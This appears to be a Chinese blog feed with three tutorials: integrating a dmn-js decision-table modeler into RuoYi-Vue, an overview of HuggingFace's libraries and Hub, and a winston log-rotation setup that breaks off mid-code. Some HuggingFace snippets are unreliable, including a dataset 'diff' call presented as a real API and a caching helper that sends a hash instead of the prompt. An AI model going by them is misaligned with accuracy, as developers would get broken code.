阅读视图

发现新文章,点击刷新页面。

ruoyi集成dmn规则引擎

环境说明

基于RuoYi-Vue2q前端如何集成DMN组件
版本号:3.9.0
更多关于ruoyi集成工作流,请访问若依工作流

集成步骤

  • 安装依赖
npm install dmn-js dmn-js-properties-panel --save
npm install --save dmn-moddle
  • vue.config.js增加dmn.js配置, 在transpileDependencies,alias 进行设置
lias: {
    '@': resolve('src'),
    'lezer-feel$': resolve('node_modules/lezer-feel/dist/index.js'),
    '@camunda/feel-builtins$': resolve('node_modules/@camunda/feel-builtins/dist/index.js'),
    'feelers$': resolve('node_modules/feelers/dist/index.js'),
    'feelin$': resolve('node_modules/feelin/dist/index.cjs'),
    '@bpmn-io/feel-lint$': resolve('node_modules/@bpmn-io/feel-lint/dist/index.js'),
    '@bpmn-io/lezer-feel$': resolve('node_modules/@bpmn-io/lezer-feel/dist/index.js'),
    // dmn-moddle 使用 ES 模块,webpack4 需要指向 CJS 版本
    'dmn-moddle$': resolve('node_modules/dmn-moddle/dist/index.cjs')
    }

  transpileDependencies: [
    'quill', 
    'bpmn-js', 
    'diagram-js',
    'bpmn-js-properties-panel',
    '@bpmn-io/properties-panel',
    '@bpmn-io/feel-editor',
    '@bpmn-io/feel-lint', 
    '@bpmn-io/lezer-feel', 
    'feelers', 
    //以下是dmn-js需要的配置,主要是因为dmn-js 使用了 ES6+ 语法,但 webpack 未转译 node_modules 中的这些文件
    'lezer-feel',
    'dmn-js',
    'dmn-js-properties-panel',
    'dmn-js-boxed-expression',
    'dmn-js-decision-table',
    'dmn-js-literal-expression',
    'dmn-js-shared',
    'dmn-moddle'],
  • 前端页面编码
<template>
  <el-container class="dmn-modeler-container">
    <!-- 头部操作区域 -->
    <el-header class="dmn-header">
      <div class="header-content">
        <div class="header-title">
          <h3>DMN 决策表建模器</h3>
        </div>
        <div class="header-actions">
          <el-button-group>
            <el-button icon="el-icon-folder-opened" @click="openFile">导入</el-button>
            <el-button icon="el-icon-download" @click="downloadDiagram">导出</el-button>
            <el-button icon="el-icon-document" type="primary" @click="saveDiagram">部署</el-button>
          </el-button-group>
        </div>
      </div>
    </el-header>
    
    <!-- 主要内容区域 -->
    <el-main class="dmn-main">
      <div class="dmn-content">
        <!-- DMN 画布区域 -->
        <div class="canvas-container">
          <div id="canvas" class="dmn-canvas" v-loading="initializing"></div>
        </div>
      </div>
    </el-main>
    
    <!-- 文件输入 -->
    <input 
      ref="fileInput" 
      type="file" 
      accept=".dmn,.xml" 
      style="display: none" 
      @change="handleFileImport"
    />
  </el-container>
</template>

<script>
import DmnModeler from 'dmn-js/lib/Modeler'
import FileSaver from 'file-saver'
import { deployDmnTable } from '@/api/camunda/dmn'

// 样式引入
// 基础样式
import 'dmn-js/dist/assets/diagram-js.css'
// DMN 字体样式
import 'dmn-js/dist/assets/dmn-font/css/dmn.css'
// 决策表相关样式(确保决策表正确显示)
import 'dmn-js/dist/assets/dmn-js-shared.css'
import 'dmn-js/dist/assets/dmn-js-decision-table.css'
import 'dmn-js/dist/assets/dmn-js-decision-table-controls.css'
// DRD (Decision Requirements Diagram) 视图样式
import 'dmn-js/dist/assets/dmn-js-drd.css'

export default {
  name: 'CamundaDmnModeler',
  data() {
    return {
      dmnModeler: null,
      canUndo: false,
      canRedo: false,
      isInitialized: false, // 标记是否初始化成功
      initializing: false, // 初始化或导入中的 loading 状态
      initPromise: null // 记录初始化 Promise,便于后续等待
    }
  },
  mounted() {
    this.$nextTick(() => {
      this.initModeler()
    })
  },
  beforeDestroy() {
    if (this.dmnModeler) {
      this.dmnModeler.destroy()
      this.dmnModeler = null
    }
    this.initPromise = null
  },
  methods: {
    // 生成随机决策表ID
    generateDecisionId() {
      const randomNum = Math.floor(Math.random() * 10000)
      return `Decision_${randomNum}`
    },

    initModeler() {
      if (this.initializing && this.initPromise) {
        return this.initPromise
      }

      try {
        // 如果已有实例,先销毁重新创建,避免残留状态
        if (this.dmnModeler) {
          try {
            this.dmnModeler.destroy()
          } catch (destroyErr) {
            console.warn('销毁旧的 DMN Modeler 失败:', destroyErr)
          }
        }

        this.dmnModeler = new DmnModeler({
          container: '#canvas'
        })
        this.initializing = true
        this.isInitialized = false
        
        // 加载空白决策表 - 使用标准的 DMN 1.3 格式
        // 根据 dmn-moddle 11.0.0,使用正确的命名空间
        const decisionId = this.generateDecisionId()
        const decisionTableId = 'DecisionTable_' + Date.now()
        const diagramXML = `<?xml version="1.0" encoding="UTF-8"?>
<definitions xmlns="https://www.omg.org/spec/DMN/20191111/MODEL/" xmlns:dmndi="http://www.omg.org/spec/DMN/20180521/DMNDI" xmlns:di="http://www.omg.org/spec/DMN/20180521/DI/" xmlns:dc="http://www.omg.org/spec/DMN/20180521/DC/" id="Definitions_1" name="决策表" namespace="http://camunda.org/schema/1.0/dmn">
  <decision id="${decisionId}" name="决策表">
    <decisionTable id="${decisionTableId}" hitPolicy="UNIQUE">
      <input id="Input_1" label="输入">
        <inputExpression id="InputExpression_1" typeRef="string">
          <text></text>
        </inputExpression>
      </input>
      <output id="Output_1" label="输出" typeRef="string" />
    </decisionTable>
  </decision>
  <dmndi:DMNDI>
    <dmndi:DMNDiagram id="DMNDiagram_1">
      <dmndi:DMNShape id="DMNShape_${decisionId}" dmnElementRef="${decisionId}">
        <dc:Bounds x="100" y="100" width="300" height="200" />
      </dmndi:DMNShape>
    </dmndi:DMNDiagram>
  </dmndi:DMNDI>
</definitions>`

        // 使用箭头函数确保 this 上下文正确
        const initTask = this.dmnModeler.importXML(diagramXML)
        this.initPromise = initTask
        initTask.then(() => {
          // 只有在 importXML 成功后才标记为已初始化
          this.isInitialized = true
          this.initializing = false
          this.$message.success('决策表初始化成功')
          
          // 确保 dmnModeler 已完全初始化后再访问服务
          if (this.dmnModeler && typeof this.dmnModeler.get === 'function') {
            // 等待 DOM 更新
            this.$nextTick(() => {
              // 监听撤销重做状态
              const eventBus = this.dmnModeler.get('eventBus')
              if (eventBus) {
                eventBus.on('commandStack.changed', () => {
                  if (this.dmnModeler && typeof this.dmnModeler.get === 'function') {
                    const commandStack = this.dmnModeler.get('commandStack')
                    if (commandStack) {
                      this.canUndo = commandStack.canUndo()
                      this.canRedo = commandStack.canRedo()
                    }
                  }
                })
              }
              
            })
          }
        }).catch(err => {
          console.error('初始化失败:', err)
          console.error('XML 内容:', diagramXML)
          this.isInitialized = false
          this.initializing = false
          this.$message.error('决策表初始化失败: ' + (err.message || '未知错误'))
          // 如果初始化失败,清空 dmnModeler,避免使用不完整的状态
          if (this.dmnModeler) {
            try {
              this.dmnModeler.destroy()
            } catch (e) {
              console.warn('销毁失败的 modeler:', e)
            }
            this.dmnModeler = null
          }
          throw err
        }).finally(() => {
          // 保持 initPromise 只代表最近一次初始化
          if (this.initPromise === initTask) {
            this.initPromise = null
          }
        })

        return initTask
      } catch (err) {
        console.error('创建 DMN Modeler 失败:', err)
        this.$message.error('创建决策表建模器失败: ' + (err.message || '未知错误'))
        this.initializing = false
        this.isInitialized = false
        this.initPromise = null
        throw err
      }
    },

    async ensureModelerReady() {
      debugger
      if (this.isInitialized && this.dmnModeler && typeof this.dmnModeler.get === 'function') {
        return true
      }
      if (!this.initializing || !this.initPromise) {
        try {
          await this.initModeler()
        } catch (err) {
          console.error('重新初始化决策表建模器失败:', err)
          return false
        }
      }
      if (this.initPromise) {
        try {
          await this.initPromise
        } catch (err) {
          console.error('等待决策表建模器初始化失败:', err)
          return false
        }
      }
      return this.isInitialized && this.dmnModeler && typeof this.dmnModeler.get === 'function'
    },

    // 确保XML包含必要的命名空间
    ensureDmnNamespace(xml) {
      // 检查是否包含正确的 DMN 1.3 命名空间
      // MODEL 命名空间应该是 https://www.omg.org/spec/DMN/20191111/MODEL/
      if (xml.indexOf('xmlns="https://www.omg.org/spec/DMN/20191111/MODEL/"') === -1 && 
          xml.indexOf('xmlns:dmn="https://www.omg.org/spec/DMN/20191111/MODEL/"') === -1) {
        // 如果缺少默认命名空间,尝试添加
        if (xml.indexOf('<definitions') !== -1) {
          // 替换 definitions 标签,添加默认命名空间
          xml = xml.replace(
            /<definitions([^>]*)>/,
            '<definitions$1 xmlns="https://www.omg.org/spec/DMN/20191111/MODEL/" xmlns:dmndi="http://www.omg.org/spec/DMN/20180521/DMNDI" xmlns:di="http://www.omg.org/spec/DMN/20180521/DI/" xmlns:dc="http://www.omg.org/spec/DMN/20180521/DC/">'
          )
        } else if (xml.indexOf('<dmn:definitions') !== -1) {
          // 如果使用 dmn: 前缀,也添加命名空间
          xml = xml.replace(
            /<dmn:definitions([^>]*)>/,
            '<dmn:definitions$1 xmlns:dmn="https://www.omg.org/spec/DMN/20191111/MODEL/" xmlns:dmndi="http://www.omg.org/spec/DMN/20180521/DMNDI" xmlns:di="http://www.omg.org/spec/DMN/20180521/DI/" xmlns:dc="http://www.omg.org/spec/DMN/20180521/DC/">'
          )
        }
      }
      return xml
    },

    // 从 XML 中提取第一个 decision 的 name 属性
    extractDecisionName(xml) {
      if (!xml || typeof xml !== 'string') {
        return null
      }
      try {
        if (typeof window !== 'undefined' && window.DOMParser) {
          const parser = new DOMParser()
          const doc = parser.parseFromString(xml, 'text/xml')
          const parserError = doc.getElementsByTagName('parsererror')
          if (parserError && parserError.length) {
            console.warn('DOMParser 解析 DMN XML 出错,退回正则解析')
          } else {
            // 先尝试不带命名空间的 decision
            let decisionEl = doc.getElementsByTagName('decision')[0]
            if (!decisionEl) {
              // 再尝试带命名空间的 decision
              decisionEl = doc.getElementsByTagNameNS('https://www.omg.org/spec/DMN/20191111/MODEL/', 'decision')[0]
            }
            if (decisionEl) {
              const name = decisionEl.getAttribute('name')
              if (name) {
                return name
              }
            }
          }
        }
      } catch (err) {
        console.warn('DOMParser 提取决策名称失败:', err)
      }

      // 正则后备方案,兼容单引号或双引号
      const match = xml.match(/<\s*(?:dmn:)?decision\b[^>]*\bname=['"]([^'"]+)['"]/i)
      if (match && match[1]) {
        return match[1]
      }
      return null
    },

    async saveDiagram() {
      try {
        // const ready = await this.ensureModelerReady()
        // if (!ready) {
        //   this.$message.error('决策表建模器未初始化,请稍后再试')
        //   return
        // }
        
        const modeler = this.dmnModeler
        // if (!modeler || typeof modeler.get !== 'function') {
        //   this.$message.error('决策表建模器不可用,请刷新页面后重试')
        //   return
        // }

        const { xml } = await modeler.saveXML({ 
          format: true,
          preamble: true
        })
        
        // 确保XML包含必要的命名空间
        const processedXml = this.ensureDmnNamespace(xml)
        
        // 获取决策表名称:优先读取 XML 中 decision 的 name
        let decisionName = this.extractDecisionName(processedXml)
        
        if (!decisionName) {
          try {
            const elementRegistry = modeler.get('elementRegistry')
            if (elementRegistry) {
              // 尝试从决策表中获取名称
              const decisions = elementRegistry.filter(el => el.type === 'dmn:Decision')
              if (decisions.length > 0) {
                const decision = decisions[0]
                const bo = decision.businessObject || decision
                decisionName = bo.name || bo.id || decisionName
              }
            }
          } catch (e) {
            console.warn('从 elementRegistry 获取决策表名称失败:', e)
          }
        }

        if (!decisionName) {
          decisionName = 'decision_' + Date.now()
        }
        
        // 准备部署参数
        const deployData = {
          decisionName: decisionName,
          dmnXml: processedXml,
          tenantId: '',
          description: '决策表部署'
        }
        
        // 调用部署API
        this.$message.info('正在部署决策表...')
        const response = await deployDmnTable(deployData)
        
        this.$message.success(`决策表部署成功!决策名称: ${decisionName}`)
        
        console.log('Deployment response:', response)
        // 跳转到决策表列表页面
        this.$router.push('/dmn/list')
        
      } catch (err) {
        console.error('Deployment error:', err)
        const errorMessage = err.response?.data?.message || err.message || '部署失败'
        this.$message.error('部署失败: ' + errorMessage)
      }
    },

    async downloadDiagram() {
      try {
        // const ready = await this.ensureModelerReady()
        // if (!ready) {
        //   this.$message.error('决策表建模器未初始化,请稍后再试')
        //   return
        // }
        
        const modeler = this.dmnModeler
        // if (!modeler || typeof modeler.get !== 'function') {
        //   this.$message.error('决策表建模器不可用,请刷新页面后重试')
        //   return
        // }

        const { xml } = await modeler.saveXML({ 
          format: true,
          preamble: true
        })
        // 确保XML包含必要的命名空间
        const processedXml = this.ensureDmnNamespace(xml)
        const blob = new Blob([processedXml], { type: 'application/xml' })
        FileSaver.saveAs(blob, 'decision-table.dmn')
      } catch (err) {
        this.$message.error('导出失败: ' + (err.message || '未知错误'))
      }
    },

    openFile() {
      this.$refs.fileInput.click()
    },
    
    async handleFileImport(event) {
      const file = event.target.files[0]
      if (!file) return
      
      // const ready = await this.ensureModelerReady()
      // if (!ready) {
      //   this.$message.error('决策表建模器初始化失败,请刷新页面后重试')
      //   return
      // }
      
      const reader = new FileReader()
      reader.onload = (e) => {
        try {
          const xml = e.target.result
          this.initializing = true
          const modeler = this.dmnModeler
          // if (!modeler || typeof modeler.get !== 'function') {
          //   this.initializing = false
          //   this.$message.error('决策表建模器不可用,请刷新页面后重试')
          //   return
          // }
          modeler.importXML(xml).then(() => {
            this.isInitialized = true
            this.initializing = false
            this.$message.success('文件导入成功')
          }).catch(error => {
            console.error('文件导入失败:', error)
            this.isInitialized = false
            this.initializing = false
            this.$message.error('文件导入失败: ' + (error.message || '未知错误'))
          })
        } catch (error) {
          console.error('文件读取失败:', error)
          this.initializing = false
          this.$message.error('文件读取失败: ' + (error.message || '未知错误'))
        }
      }
      reader.readAsText(file)
      
      // 清空文件输入
      event.target.value = ''
    }
  }
}
</script>

<style scoped>
.dmn-modeler-container {
  width: 100%;
  height: 100vh;
  min-width: 900px;
  display: flex;
  flex-direction: column;
}

/* 头部样式 */
.dmn-header {
  background-color: #f5f7fa;
  border-bottom: 1px solid #e4e7ed;
  padding: 0 20px;
  height: 60px !important;
  display: flex;
  align-items: center;
}

.header-content {
  width: 100%;
  display: flex;
  justify-content: space-between;
  align-items: center;
}

.header-title h3 {
  margin: 0;
  color: #303133;
  font-size: 18px;
  font-weight: 500;
}

.header-actions {
  display: flex;
  gap: 15px;
  flex-wrap: wrap;
}

.header-actions .el-button-group {
  margin-right: 0;
}

.header-actions .el-button-group .el-button {
  margin-right: 0;
}

/* 主内容区域样式 */
.dmn-main {
  padding: 0;
  height: calc(100vh - 60px);
  overflow: hidden;
}

.dmn-content {
  display: flex;
  height: 100%;
  width: 100%;
}

/* 画布容器样式 */
.canvas-container {
  flex: 1;
  position: relative;
  display: flex;
  flex-direction: column;
  min-width: 0; /* 允许 flex 子元素缩小 */
}

.dmn-canvas {
  width: 100%;
  height: 100%;
  border: 1px solid #dcdfe6;
  background-color: #fff;
}

</style>

最终页面展示

dmn1.png

把大模型装进口袋:HuggingFace如何让AI民主化成为现实

如果你在2025年还觉得大模型是科技巨头的专利,那你可能错过了AI民主化最关键的一步——而这一步,是由一个名为HuggingFace的平台完成的。

从“实验室珍品”到“开发者标配”的蜕变

三年前,想要用上最先进的大模型是什么体验?

你需要先读透几百页的论文,配置复杂的CUDA环境,处理各种依赖冲突,最后在昂贵的GPU上战战兢兢地运行——结果很可能因为一个版本不兼容而前功尽弃。

今天呢?打开Python,三行代码:

from transformers import pipeline
chatbot = pipeline("text-generation", model="Qwen/Qwen2.5-7B")
response = chatbot("帮我写一段产品介绍")

一个能对话、能写作、能编程的智能助手就在你的笔记本电脑上跑起来了。这个转变的核心推手,正是HuggingFace。

但HuggingFace的价值远不止“让调用模型变简单”。它真正做的,是重构了整个AI开发的价值链

第一部分:为什么AI世界需要一个“模型仓库”?

1.1 大模型的“寒武纪大爆发”与随之而来的混乱

2022-2024年,我们见证了大模型的“寒武纪大爆发”:

  • OpenAI的GPT系列从3.5迭代到4o
  • 谷歌的PaLM、Gemini接连发布
  • Meta开源了Llama系列,彻底点燃了开源社区的激情
  • 中国的阿里通义、百度文心、智谱ChatGLM、深度求索DeepSeek等百花齐放

但繁荣背后是巨大的混乱:每个框架都有自己的API,每个模型都有自己的权重格式,每篇论文都有自己的预处理步骤。

开发者面临的选择困境:我是该用PyTorch还是TensorFlow?该用HuggingFace Transformers还是直接调用原厂SDK?模型权重是.safetensors格式还是.bin格式?

这种碎片化严重阻碍了技术的普及。就像智能手机早期,每个手机厂商都有自己的充电接口——直到Type-C统一了天下。

1.2 HuggingFace的“统一场论”

HuggingFace做了一件看似简单却极具远见的事:为所有大模型定义了一套通用接口

这就像USB协议为所有外设定义了通信标准。无论底层是Transformer、RNN还是CNN,无论模型来自谷歌、Meta还是中国的创业公司,在HuggingFace的世界里,它们都遵循同样的调用规范。

# 加载任何模型,都是同样的三行代码
from transformers import AutoModel, AutoTokenizer

model = AutoModel.from_pretrained("模型名称")
tokenizer = AutoTokenizer.from_pretrained("模型名称")

这种统一带来的效率提升是指数级的。开发者不再需要为每个新模型重学一套API,企业不再需要为每个框架维护一套基础设施。

第二部分:Transformers库——不只是加载模型的工具

2.1 “自动”背后的智能

表面上看,AutoModel.from_pretrained()只是加载模型。但在这行简单的代码背后,是一个复杂的智能系统:

自动架构检测:当你传入"bert-base-chinese"时,系统会自动:

  1. 从HuggingFace Hub下载模型配置
  2. 根据配置中的model_type字段识别这是BERT架构
  3. 动态加载对应的模型类
  4. 应用正确的权重初始化方式

自动设备管理:当你有一台带24GB显存的4090和64GB内存的电脑时:

model = AutoModel.from_pretrained("Qwen/Qwen2.5-14B", device_map="auto")

这行代码会自动将模型的不同层分配到GPU和CPU上,甚至实现层间流水线,让大模型能在“小”设备上运行。

自动量化支持:当模型太大时:

from transformers import BitsAndBytesConfig
quant_config = BitsAndBytesConfig(load_in_4bit=True)
model = AutoModel.from_pretrained("模型名称", quantization_config=quant_config)

自动将FP32权重转换为INT4,显存占用减少75%,性能损失不到5%。

2.2 Pipeline:从“函数调用”到“任务抽象”

如果说AutoModel是统一了模型的“加载方式”,那么pipeline则是统一了模型的“使用方式”。

传统AI开发中,每个任务都是一套独立流程:

  • 文本分类:分词→编码→模型推理→Softmax→取最大值
  • 命名实体识别:分词→编码→模型推理→CRF解码→实体合并
  • 文本生成:分词→编码→自回归生成→解码→后处理

pipeline把这些流程全部封装:

# 所有任务,同一套API
classifier = pipeline("text-classification")  # 文本分类
ner = pipeline("ner")                         # 命名实体识别
generator = pipeline("text-generation")       # 文本生成
translator = pipeline("translation")          # 翻译

更重要的是,pipeline内置了最佳实践

  • 自动处理填充和截断
  • 自动批处理提升性能
  • 自动设备管理
  • 错误处理和重试机制

2.3 Tokenizer的艺术:从字符到向量的魔法

大模型不理解文字,只理解数字。将文字转换为数字的过程就是分词(Tokenization)。这看似简单,实则充满玄机。

中文分词的三种流派

# 1. 字分词(BERT风格)
tokenizer = AutoTokenizer.from_pretrained("bert-base-chinese")
tokens = tokenizer.tokenize("自然语言处理")  # ['自', '然', '语', '言', '处', '理']

# 2. 词分词(GPT风格)
tokenizer = AutoTokenizer.from_pretrained("gpt2-chinese")
tokens = tokenizer.tokenize("自然语言处理")  # ['自然', '语言', '处理']

# 3. 子词分词(BPE/WordPiece)
tokenizer = AutoTokenizer.from_pretrained("xlm-roberta-base")
tokens = tokenizer.tokenize("natural language processing")  # ['natural', 'Ġlanguage', 'Ġprocessing']

每种分词方式都有其优缺点:

  • 字分词:词表小(2万字左右),但语义粒度粗
  • 词分词:语义粒度细,但词表大(5万-50万),OOV(未登录词)问题严重
  • 子词分词:平衡了两者,但需要复杂的训练算法

HuggingFace的Tokenizer最厉害的地方在于:它让开发者完全不用关心这些细节。无论底层用什么分词算法,API都是一样的。

第三部分:Datasets库——AI的“数据加油站”

3.1 数据:AI的石油,也是最深的护城河

在AI领域,有一个共识:数据质量决定模型上限。但获取高质量数据是极其昂贵的:

  1. 标注成本:一个情感分析数据集,每条数据标注成本0.5元,100万条就是50万元
  2. 清洗成本:原始数据中可能有30%的噪声,清洗又是一大笔开销
  3. 合规成本:用户数据涉及隐私,需要脱敏、加密、合规审查

HuggingFace Datasets的价值在于:它建立了一个数据共享经济

3.2 流式处理:让大数据集在“小内存”中运行

传统的数据加载方式:

import pandas as pd
# 加载100GB的文本数据?直接内存爆炸
data = pd.read_csv("100gb_text.csv")

Datasets的流式加载:

from datasets import load_dataset
# 流式加载,内存中只保留当前批次
dataset = load_dataset("big_corpus", streaming=True)
for batch in dataset.iter(batch_size=1000):
    process(batch)  # 处理当前批次

更智能的是内存映射(Memory Mapping)

# 数据集看起来像在内存中,实际在磁盘上
dataset = load_dataset("big_corpus")
# 首次访问会慢,后续访问有缓存

3.3 数据版本控制:AI的“Git”

数据不是静态的。今天准确的数据,明天可能就过时了。数据版本控制因此变得至关重要。

Datasets库内置了版本控制:

# 加载特定版本
dataset_v1 = load_dataset("my_dataset", revision="v1.0")
dataset_v2 = load_dataset("my_dataset", revision="v2.0")

# 比较不同版本
diff = dataset_v1.diff(dataset_v2)

这解决了AI开发中的一个大痛点:可复现性。三年前训练的模型,今天还能用同样的数据重新训练吗?有了数据版本控制,答案是可以。

第四部分:HuggingFace Hub——不只是模型仓库

4.1 模型发现的“App Store”

HuggingFace Hub上有超过50万个模型。如何找到你需要的?Hub提供了多维度的发现机制:

按任务筛选:文本分类、文本生成、图像分类、语音识别... 按语言筛选:中文、英文、多语言... 按许可证筛选:商用、研究用、开源... 按大小筛选:<100M、100M-1B、>1B... 按流行度筛选:下载量、点赞数、近期活跃度

更重要的是**模型卡片(Model Card)**系统。每个模型都有详细的文档:

  • 训练数据是什么
  • 在哪些基准测试上表现如何
  • 有什么已知缺陷(偏见、幻觉等)
  • 如何使用示例代码

4.2 Spaces:零后端部署AI应用

传统AI应用部署:

  1. 购买云服务器
  2. 配置GPU环境
  3. 部署模型服务
  4. 开发前端界面
  5. 配置负载均衡
  6. 监控和运维

Spaces让这一切变得简单:

import gradio as gr
from transformers import pipeline

generator = pipeline("text-generation", "gpt2")

def generate_text(prompt):
    return generator(prompt, max_length=100)[0]['generated_text']

gr.Interface(fn=generate_text, inputs="text", outputs="text").launch()

上传到Spaces,你就得到了:

  • 一个永久在线的Web应用
  • 免费的GPU资源(有限时长)
  • 自动HTTPS证书
  • 访问量统计
  • 社区反馈系统

4.3 协作与社区:开源AI的飞轮效应

HuggingFace最强大的不是技术,而是社区

开源贡献的飞轮

  1. 研究者开源模型 → 2. 开发者使用并反馈问题 → 3. 研究者改进模型 → 4. 更多开发者加入

企业参与的共赢

  • 大公司开源“基座模型”
  • 中小企业在基座上微调“垂直模型”
  • 创业公司基于模型构建应用
  • 所有人都从生态增长中受益

第五部分:实战指南——从实验到生产

5.1 模型选择:没有最好,只有最合适

选择模型的决策框架:

场景一:聊天机器人

# 需要较强的推理和对话能力
# 推荐:Qwen、ChatGLM、DeepSeek
model = "Qwen/Qwen2.5-7B-Instruct"

场景二:文本嵌入

# 需要将文本转换为向量
# 推荐:BGE、text2vec
model = "BAAI/bge-large-zh"

场景三:代码生成

# 需要理解编程语言
# 推荐:CodeLlama、DeepSeek-Coder
model = "codellama/CodeLlama-7b"

场景四:边缘部署

# 需要在资源受限设备上运行
# 推荐:量化后的小模型
model = "microsoft/phi-2"  # 仅2.7B参数

5.2 性能优化:让推理速度飞起来

技巧一:量化

from transformers import AutoModelForCausalLM, BitsAndBytesConfig
import torch

bnb_config = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_compute_dtype=torch.float16,
    bnb_4bit_quant_type="nf4",
)

model = AutoModelForCausalLM.from_pretrained(
    "模型名称",
    quantization_config=bnb_config,
)
# 显存减少75%,速度提升2-3倍

技巧二:缓存注意力(KV Cache)

# 自回归生成时,缓存之前的注意力结果
generator = pipeline("text-generation", model=model)
result = generator(
    prompt,
    max_length=100,
    use_cache=True,  # 启用KV缓存
)
# 速度提升30-50%

技巧三:批处理

# 同时处理多个请求
prompts = ["提示1", "提示2", "提示3", "提示4"]
results = generator(prompts, batch_size=4)
# GPU利用率从30%提升到80%

5.3 成本控制:让AI用得起

策略一:分层处理

# 简单问题用小模型,复杂问题用大模型
def smart_router(question):
    if is_simple_question(question):
        return small_model(question)  # 免费或低成本
    else:
        return large_model(question)  # 高成本但能力强

策略二:缓存结果

from functools import lru_cache
import hashlib

@lru_cache(maxsize=10000)
def get_cached_response(prompt):
    # 相同提示词直接返回缓存
    return model(prompt)

def generate_with_cache(prompt):
    prompt_hash = hashlib.md5(prompt.encode()).hexdigest()
    return get_cached_response(prompt_hash)

策略三:提前终止

# 当生成质量足够好时提前停止
def generate_with_early_stopping(prompt, quality_threshold=0.95):
    for i in range(max_length):
        token = generate_next_token()
        current_quality = calculate_quality()
        if current_quality > quality_threshold:
            break  # 提前终止,节省计算
    return generated_text

第六部分:中国开发者的特别指南

6.1 网络问题:不止是“科学上网”

对于中国开发者,访问HuggingFace的最大障碍是网络。解决方案:

方案一:使用国内镜像

# 设置环境变量
export HF_ENDPOINT=https://hf-mirror.com

# 或者在代码中设置
import os
os.environ['HF_ENDPOINT'] = 'https://hf-mirror.com'

方案二:ModelScope(魔搭社区)

# 阿里云提供的国内替代
from modelscope import AutoModelForCausalLM, AutoTokenizer

model = AutoModelForCausalLM.from_pretrained("qwen/Qwen2.5-7B")
# 完全兼容HuggingFace API,速度更快

方案三:提前缓存

# 在有网络时下载所有依赖
from huggingface_hub import snapshot_download

# 下载模型和所有依赖
snapshot_download(
    repo_id="Qwen/Qwen2.5-7B",
    local_dir="./local_qwen",
    ignore_patterns=["*.msgpack", "*.h5"],  # 跳过不必要文件
)

6.2 中文优化模型推荐

通用对话

  • Qwen系列(阿里通义):中文优化好,开源协议友好
  • ChatGLM系列(智谱):中文能力强,推理速度快
  • DeepSeek(深度求索):数学和推理能力强

文本嵌入

  • BGE系列(智源):中文文本嵌入SOTA
  • text2vec(郎帅):轻量级,适合部署

代码生成

  • DeepSeek-Coder:中文代码注释理解好
  • CodeQwen:基于Qwen的代码模型

6.3 合规与安全:在中国做AI必须考虑的

数据不出境:使用国内模型或本地部署 内容审核:增加敏感词过滤层 用户隐私:对话记录加密存储 备案要求:AI生成内容需标注“由AI生成”

第七部分:未来展望——HuggingFace的下一个五年

7.1 多模态统一:文本、图像、语音的融合

当前的多模态模型还是“拼凑式”的:文本一个模型,图像一个模型,语音一个模型。未来趋势是真正的多模态统一模型

HuggingFace已经在布局:

# 未来的API可能是这样的
from transformers import MultiModalModel

model = MultiModalModel.from_pretrained("unified-model-v1")

# 同时处理文本、图像、语音
result = model({
    "text": "描述这张图片",
    "image": image_data,
    "audio": audio_data
})

7.2 智能体(Agent)生态:从工具到助手

大模型本身只是“大脑”,智能体是“大脑+手脚”。

HuggingFace可能会推出:

  • 工具调用标准化:统一各API的调用方式
  • 工作流编排:可视化构建智能体流程
  • 记忆系统:长期记忆和短期记忆管理
  • 自我反思:智能体评估和改进自身行为

7.3 边缘AI:让大模型在手机上运行

当前限制:70B模型需要8张A100 未来趋势:通过模型压缩、蒸馏、专用芯片,让7B模型在手机上流畅运行

技术路径:

  1. 模型蒸馏:大模型→小模型,保持90%能力
  2. 稀疏化:移除不重要的神经元
  3. 硬件协同:专用AI芯片(NPU)普及

结语:我们正站在AI民主化的拐点上

回望AI发展的历史:

  • 2012年,AlexNet让计算机视觉走出实验室
  • 2017年,Transformer让自然语言处理迎来突破
  • 2022年,ChatGPT让大模型走进公众视野
  • 2024年,开源模型让技术不再被巨头垄断

而HuggingFace,正是在这个关键时刻,为整个生态提供了基础设施。

它做的不是最前沿的研究,也不是最炫酷的产品,而是最基础、最必要、最容易被忽视的工程工作:统一接口、标准化流程、建立社区。

现在,大模型的壁垒已经从“能不能做”变成了“想不想做”。任何一个有Python基础的开发者,都能在几天内搭建一个可用的AI应用。任何一个中小企业,都能用有限的预算部署自己的智能客服。

这就是技术民主化的力量:当工具变得足够简单,创造力就会从中心流向边缘,从巨头流向大众。

所以,如果你还在观望,还在犹豫,还在觉得“AI离我很远”,那么现在就是最好的起点。打开HuggingFace,从第一个pipeline()调用开始。

因为未来不是等来的,是构建出来的。而构建未来的工具,现在就在你手中。

水平有限,还不能写到尽善尽美,希望大家多多交流,跟春野一同进步!!!

企业级全栈项目(14) winston记录所有日志

winston 是 Node.js 生态中最流行的日志库,通常配合 winston-daily-rotate-file 使用,以实现按天切割日志文件(防止一个日志文件无限膨胀到几个GB)。 我们将实现以下目标:

  1. 访问日志:记录所有 HTTP 请求(时间、IP、URL、Method、状态码、耗时)。
  2. 错误日志:记录所有的异常和报错堆栈。
  3. 日志切割:每天自动生成新文件,并自动清理旧日志(如保留30天)。
  4. 分环境处理:开发环境在控制台打印彩色日志,生产环境写入文件。

第一步:安装依赖

npm install winston winston-daily-rotate-file

第二步:封装 Logger 工具类 (src/utils/logger.js)

我们需要创建一个全局单例的 Logger 对象。

import winston from 'winston'
import 'winston-daily-rotate-file'
import path from 'path'

// 定义日志目录
const logDir = 'logs'

// 定义日志格式
const { combine, timestamp, printf, json, colorize } = winston.format

// 自定义控制台打印格式
const consoleFormat = printf(({ level, message, timestamp, ...metadata }) => {
  let msg = `${timestamp} [${level}]: ${message}`
  if (Object.keys(metadata).length > 0) {
    msg += JSON.stringify(metadata)
  }
  return msg
})

// 创建 Logger 实例
const logger = winston.createLogger({
  level: 'info', // 默认日志级别
  format: combine(
    timestamp({ format: 'YYYY-MM-DD HH:mm:ss' }),
    json() // 文件中存储 JSON 格式,方便后续用 ELK 等工具分析
  ),
  transports: [
    // 1. 错误日志:只记录 error 级别的日志
    new winston.transports.DailyRotateFile({
      dirname: path.join(logDir, 'error'),
      filename: 'error-%DATE%.log',
      datePattern: 'YYYY-MM-DD',
      level: 'error',
      zippedArchive: true, // 压缩旧日志
      maxSize: '20m',      // 单个文件最大 20MB
      maxFiles: '30d'      // 保留 30 天
    }),
    
    // 2. 综合日志:记录 info 及以上级别的日志 (包含访问日志)
    new winston.transports.DailyRotateFile({
      dirname: path.join(logDir, 'combined'),
      filename: 'combined-%DATE%.log',
      datePattern: 'YYYY-MM-DD',
      zippedArchive: true,
      maxSize: '20m',
      maxFiles: '30d'
    })
